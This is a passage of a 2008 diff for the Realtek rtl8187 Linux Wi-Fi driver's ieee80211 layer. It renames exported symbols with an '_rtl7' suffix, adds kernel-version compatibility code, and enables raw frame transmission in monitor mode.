wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c 2008-01-30 17:38:11.000000000 +0100 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +260,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +285,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +295,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +318,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +330,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +344,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +422,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int 